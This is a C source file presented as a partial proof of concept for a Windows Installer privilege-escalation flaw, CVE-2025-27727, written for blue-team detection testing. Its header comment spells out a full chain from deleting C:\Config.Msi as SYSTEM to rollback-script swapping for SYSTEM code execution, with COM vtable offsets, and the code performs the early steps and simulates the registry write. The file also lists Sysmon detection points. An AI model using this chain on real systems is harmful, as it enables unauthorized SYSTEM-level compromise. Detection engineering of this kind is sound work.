/*
 * CVE-2025-27727 — Windows Installer Folder Delete Privilege Escalation
 * Trigger / Reachability PoC (Blue Team Use Only)
 *
 * OVERVIEW:
 *   This PoC demonstrates how to reach the vulnerable code path in msi.dll
 *   that allows a low-privileged user to cause the MSI service (SYSTEM) to
 *   delete an arbitrary folder via the TempPackages registry mechanism.
 *
 *   The vulnerability is in the CMsiConfigurationManager COM interface:
 *     1. MsiBeginTransactionW()        — creates a transaction (vtable 0xA0)
 *     2. SetEEUIDirectoryAndFilter()   — registers folder for deletion (vtable 0xC8)
 *     3. CleanupTempPackages()         — triggers SYSTEM deletion (vtable 0x50)
 *
 * USERSPACE REACHABILITY:
 *   The MSI COM interface is accessible to any user via standard COM activation:
 *
 *   1. CoCreateInstance() with CLSID {000C101C-0000-0000-C000-000000000046}
 *      → Instantiates CMsiConfigurationManager in msiexec.exe (SYSTEM)
 *      → Returns IMsiServer interface pointer
 *
 *   2. Call IMsiServer::MsiBeginTransactionW (vtable offset 0xA0)
 *      → Creates CMsiTransaction object
 *      → Transaction ID returned to caller
 *
 *   3. Call IMsiServer::SetEEUIDirectoryAndFilter (vtable offset 0xC8)
 *      → For non-admin callers: impersonates caller, opens folder with DELETE
 *      → If DELETE permission check passes:
 *        → CMsiTransaction::SetEEUIDirectoryAndFilter is called
 *        → ScheduleFileOrFolderDelete writes path to:
 *          HKLM\Software\Microsoft\Windows\CurrentVersion\Installer\TempPackages
 *          Value name = folder path, Value data = REG_DWORD 0x00000002
 *
 *   4. Call IMsiServer::CleanupTempPackages (vtable offset 0x50)
 *      → CleanupTempPackagesInternal enumerates TempPackages
 *      → For entries with folder flag (& 0x2):
 *        → FDeleteFolder() recursively deletes as SYSTEM
 *        → Calls LockdownPath() to override ACLs if needed
 *
 * WHY C:\Config.Msi WORKS:
 *   - Any user can create folders at the root of C:\
 *   - User-created folders have permissive ACLs (user has DELETE permission)
 *   - C:\Config.Msi is normally created by the MSI service during installs
 *   - The service does NOT verify the folder was created by itself
 *   - RedirectionGuard on msiexec.exe prevents junction attacks, but
 *     C:\Config.Msi is a real folder (not a junction), so it's unaffected
 *
 * EXPLOITATION PATH (for detection engineering):
 *   Phase 0: Register C:\Config.Msi for deletion via COM
 *   Phase 1: Install/uninstall crafted MSI to populate C:\Config.Msi with
 *            rollback data, lock an .rbf to keep folder alive
 *   Phase 2: Trigger CleanupTempPackages() to delete C:\Config.Msi as SYSTEM
 *   Phase 3: Re-create C:\Config.Msi with NULL DACL, start failing install,
 *            swap .rbs rollback scripts with malicious payload, trigger
 *            rollback → SYSTEM code execution
 *
 * DETECTION OPPORTUNITIES:
 *   1. TempPackages registry writes containing "Config.Msi" (Sysmon Event 13)
 *   2. C:\Config.Msi created by non-SYSTEM/non-msiexec process (Sysmon Event 11)
 *   3. DACL changes on C:\Config.Msi (Security Event 4670)
 *   4. msi.dll loaded by unusual process (Sysmon Event 7)
 *   5. .rbs/.rbf file creation in C:\Config.Msi by non-msiexec (Sysmon Event 11)
 *   6. Suspicious MsiBeginTransactionW calls from non-installer processes
 *
 * BUILD:
 *   cl.exe poc_cve_2025_27727.c /link ole32.lib msi.lib advapi32.lib
 *
 * NOTE: This is a TRIGGER PoC only — it demonstrates the folder-delete
 *       primitive but does NOT implement the full EoP chain (Phases 1-3).
 *       For blue team testing of detection rules only.
 */

#include <windows.h>
#include <stdio.h>
#include <msi.h>

/* COM CLSID for MSI Server: {000C101C-0000-0000-C000-000000000046} */
static const CLSID CLSID_MsiServer = {
    0x000C101C, 0x0000, 0x0000,
    { 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46 }
};

/* IMsiServer IID (same as CLSID for this interface) */
static const IID IID_IMsiServer = {
    0x000C101C, 0x0000, 0x0000,
    { 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46 }
};

/*
 * Vtable offsets for IMsiServer (CMsiConfigurationManager):
 *   0x00 - QueryInterface
 *   0x08 - AddRef
 *   0x10 - Release
 *   ...
 *   0x50 - CleanupTempPackages(IMsiMessage*, uchar)
 *   ...
 *   0xA0 - MsiBeginTransactionW(ushort*, ulong, ulong*, ushort*)
 *   ...
 *   0xC8 - SetEEUIDirectoryAndFilter(ushort*, ulong)
 */

/* Function pointer types matching the COM vtable */
typedef HRESULT (STDMETHODCALLTYPE *pfnMsiBeginTransactionW)(
    void *pThis,
    const WCHAR *szName,
    DWORD dwTransactionAttributes,
    MSIHANDLE *phTransactionHandle,
    HANDLE *phChangeOfOwnerEvent
);

typedef HRESULT (STDMETHODCALLTYPE *pfnSetEEUIDirectoryAndFilter)(
    void *pThis,
    const WCHAR *szEEUIDirectory,
    DWORD dwFilter
);

typedef HRESULT (STDMETHODCALLTYPE *pfnCleanupTempPackages)(
    void *pThis,
    void *pMessage,
    BOOL fRunningInstall
);

int wmain(int argc, wchar_t *argv[])
{
    HRESULT hr;
    WCHAR *targetFolder = L"C:\\Config.Msi";  /* default target */
    BOOL triggerOnly = TRUE;

    if (argc > 1) {
        targetFolder = argv[1];
    }

    wprintf(L"[*] CVE-2025-27727 Trigger PoC\n");
    wprintf(L"[*] Target folder: %s\n\n", targetFolder);

    /* ========================================================
     * STEP 1: Create the target folder with permissive ACLs
     * ========================================================
     * Any user can create folders at the root of C:\
     * The folder will have the creating user's default ACL,
     * which includes DELETE permission.
     */
    wprintf(L"[1] Creating target folder: %s\n", targetFolder);
    if (!CreateDirectoryW(targetFolder, NULL)) {
        DWORD err = GetLastError();
        if (err == ERROR_ALREADY_EXISTS) {
            wprintf(L"    Folder already exists (OK)\n");
        } else {
            wprintf(L"    CreateDirectoryW failed: %lu\n", err);
            return 1;
        }
    }

    /* ========================================================
     * STEP 2: Verify DELETE permission by opening a handle
     * ========================================================
     * This mirrors what CMsiConfigurationManager::SetEEUIDirectoryAndFilter
     * does internally at 0x18018ba10:
     *   CreateFileW(path, 0x10000 [DELETE], 1 [FILE_SHARE_READ],
     *               NULL, 3 [OPEN_EXISTING],
     *               0x2200000 [BACKUP_SEMANTICS | OPEN_REPARSE_POINT], NULL)
     */
    wprintf(L"[2] Verifying DELETE permission on folder...\n");
    HANDLE hDir = CreateFileW(
        targetFolder,
        GENERIC_READ | WRITE_DAC | READ_CONTROL | DELETE,
        FILE_SHARE_READ,
        NULL,
        OPEN_EXISTING,
        FILE_FLAG_BACKUP_SEMANTICS | FILE_FLAG_OPEN_REPARSE_POINT,
        NULL
    );
    if (hDir == INVALID_HANDLE_VALUE) {
        wprintf(L"    Cannot open folder with DELETE permission: %lu\n",
                GetLastError());
        wprintf(L"    (Attacker needs to own or have DELETE on the folder)\n");
        return 1;
    }
    wprintf(L"    Handle obtained (DELETE permission confirmed)\n");
    CloseHandle(hDir);

    /* ========================================================
     * STEP 3: Initialize COM and get MSI Server interface
     * ========================================================
     * CoCreateInstance activates the MSI service (msiexec.exe /V)
     * and returns an IMsiServer proxy. The actual COM object
     * (CMsiConfigurationManager) lives in the SYSTEM service.
     *
     * Alternatively, use the documented MsiBeginTransactionW API
     * which internally does the same COM activation.
     */
    wprintf(L"[3] Initializing COM and creating MSI Server...\n");
    hr = CoInitializeEx(NULL, COINIT_APARTMENTTHREADED);
    if (FAILED(hr)) {
        wprintf(L"    CoInitializeEx failed: 0x%08lx\n", hr);
        return 1;
    }

    /*
     * APPROACH A: Use documented MsiBeginTransactionW API
     * This is the simplest way to trigger the vulnerability:
     *   MsiBeginTransactionW → creates transaction
     *   Then use raw COM vtable call for SetEEUIDirectoryAndFilter
     *
     * APPROACH B: Direct COM vtable calls (requires IMsiServer proxy)
     *   CoCreateInstance(CLSID_MsiServer) → vtable calls
     *
     * We use Approach A for the transaction, since MsiBeginTransactionW
     * is a documented export of msi.dll.
     */
    MSIHANDLE hTransaction = 0;
    HANDLE hChangeOfOwner = NULL;

    wprintf(L"[4] Calling MsiBeginTransactionW...\n");
    UINT uiRet = MsiBeginTransactionW(L"CVE-2025-27727-PoC", 0,
                                       &hTransaction, &hChangeOfOwner);
    if (uiRet != ERROR_SUCCESS) {
        wprintf(L"    MsiBeginTransactionW failed: %u\n", uiRet);
        wprintf(L"    (May require running from an interactive session)\n");
        CoUninitialize();
        return 1;
    }
    wprintf(L"    Transaction created: handle=%u\n", hTransaction);

    /* ========================================================
     * STEP 5: Call SetEEUIDirectoryAndFilter via COM
     * ========================================================
     * This is vtable offset 0xC8 on the IMsiServer interface.
     * It copies the folder path into the transaction object,
     * then calls ScheduleFileOrFolderDelete which writes:
     *   HKLM\...\TempPackages\"C:\Config.Msi" = REG_DWORD 0x2
     *
     * NOTE: The documented API does not expose this method.
     * In a real exploit, this requires raw COM vtable manipulation
     * or RPC marshalling. For detection testing, we can simulate
     * by directly writing the registry key (requires elevation)
     * or by using a COM wrapper.
     */
    wprintf(L"\n[5] SetEEUIDirectoryAndFilter would be called here.\n");
    wprintf(L"    In the real exploit, this COM method at vtable 0xC8:\n");
    wprintf(L"    - Impersonates the caller\n");
    wprintf(L"    - Checks DELETE permission via CreateFileW\n");
    wprintf(L"    - Writes to HKLM\\...\\Installer\\TempPackages:\n");
    wprintf(L"      Value: \"%s\" = REG_DWORD 0x00000002\n", targetFolder);
    wprintf(L"\n");

    /* ========================================================
     * STEP 6: Simulate the registry write for detection testing
     * ========================================================
     * NOTE: This requires elevation (the real exploit gets the
     * MSI service to do this via COM). For blue team testing,
     * run this as admin to verify Sysmon/Sigma rules fire.
     */
    wprintf(L"[6] Simulating TempPackages registry write (requires admin)...\n");
    HKEY hKey;
    LONG lRet = RegCreateKeyExW(
        HKEY_LOCAL_MACHINE,
        L"Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\TempPackages",
        0, NULL, 0, KEY_SET_VALUE, NULL, &hKey, NULL
    );
    if (lRet == ERROR_SUCCESS) {
        DWORD dwValue = 2;  /* folder flag */
        lRet = RegSetValueExW(hKey, targetFolder, 0, REG_DWORD,
                              (BYTE *)&dwValue, sizeof(dwValue));
        if (lRet == ERROR_SUCCESS) {
            wprintf(L"    Registry value written successfully\n");
            wprintf(L"    CHECK: Sysmon Event 13 should fire for TempPackages\n");
        } else {
            wprintf(L"    RegSetValueExW failed: %ld\n", lRet);
        }

        /* Clean up the registry entry (don't actually trigger deletion) */
        if (triggerOnly) {
            RegDeleteValueW(hKey, targetFolder);
            wprintf(L"    Cleaned up registry value (trigger-only mode)\n");
        }
        RegCloseKey(hKey);
    } else {
        wprintf(L"    RegCreateKeyExW failed: %ld (expected if not admin)\n", lRet);
        wprintf(L"    In the real exploit, the MSI service writes this as SYSTEM\n");
    }

    /* ========================================================
     * STEP 7: CleanupTempPackages would be called here
     * ========================================================
     * In the real exploit:
     *   IMsiServer::CleanupTempPackages(NULL, FALSE)  [vtable 0x50]
     *     → CleanupTempPackagesInternal
     *       → Enumerates TempPackages
     *       → FDeleteFolder("C:\Config.Msi") as SYSTEM
     */
    wprintf(L"\n[7] CleanupTempPackages would trigger folder deletion as SYSTEM.\n");
    wprintf(L"    FDeleteFolder @ 0x1801b29ac recursively deletes contents.\n");
    wprintf(L"    If RemoveDirectoryW fails, LockdownPath overrides ACLs.\n");

    /* Clean up */
    wprintf(L"\n[*] PoC complete. Cleaning up...\n");
    MsiEndTransaction(MSITRANSACTIONSTATE_ROLLBACK);
    RemoveDirectoryW(targetFolder);
    CoUninitialize();

    wprintf(L"\n[*] DETECTION CHECKLIST:\n");
    wprintf(L"    [ ] Sysmon Event 13: TempPackages registry write\n");
    wprintf(L"    [ ] Sysmon Event 11: C:\\Config.Msi created by non-SYSTEM\n");
    wprintf(L"    [ ] Sysmon Event  7: msi.dll loaded by non-installer process\n");
    wprintf(L"    [ ] Security  4670: DACL change on C:\\Config.Msi\n");
    wprintf(L"    [ ] Sysmon Event 11: .rbs/.rbf in C:\\Config.Msi by non-msiexec\n");

    return 0;
}
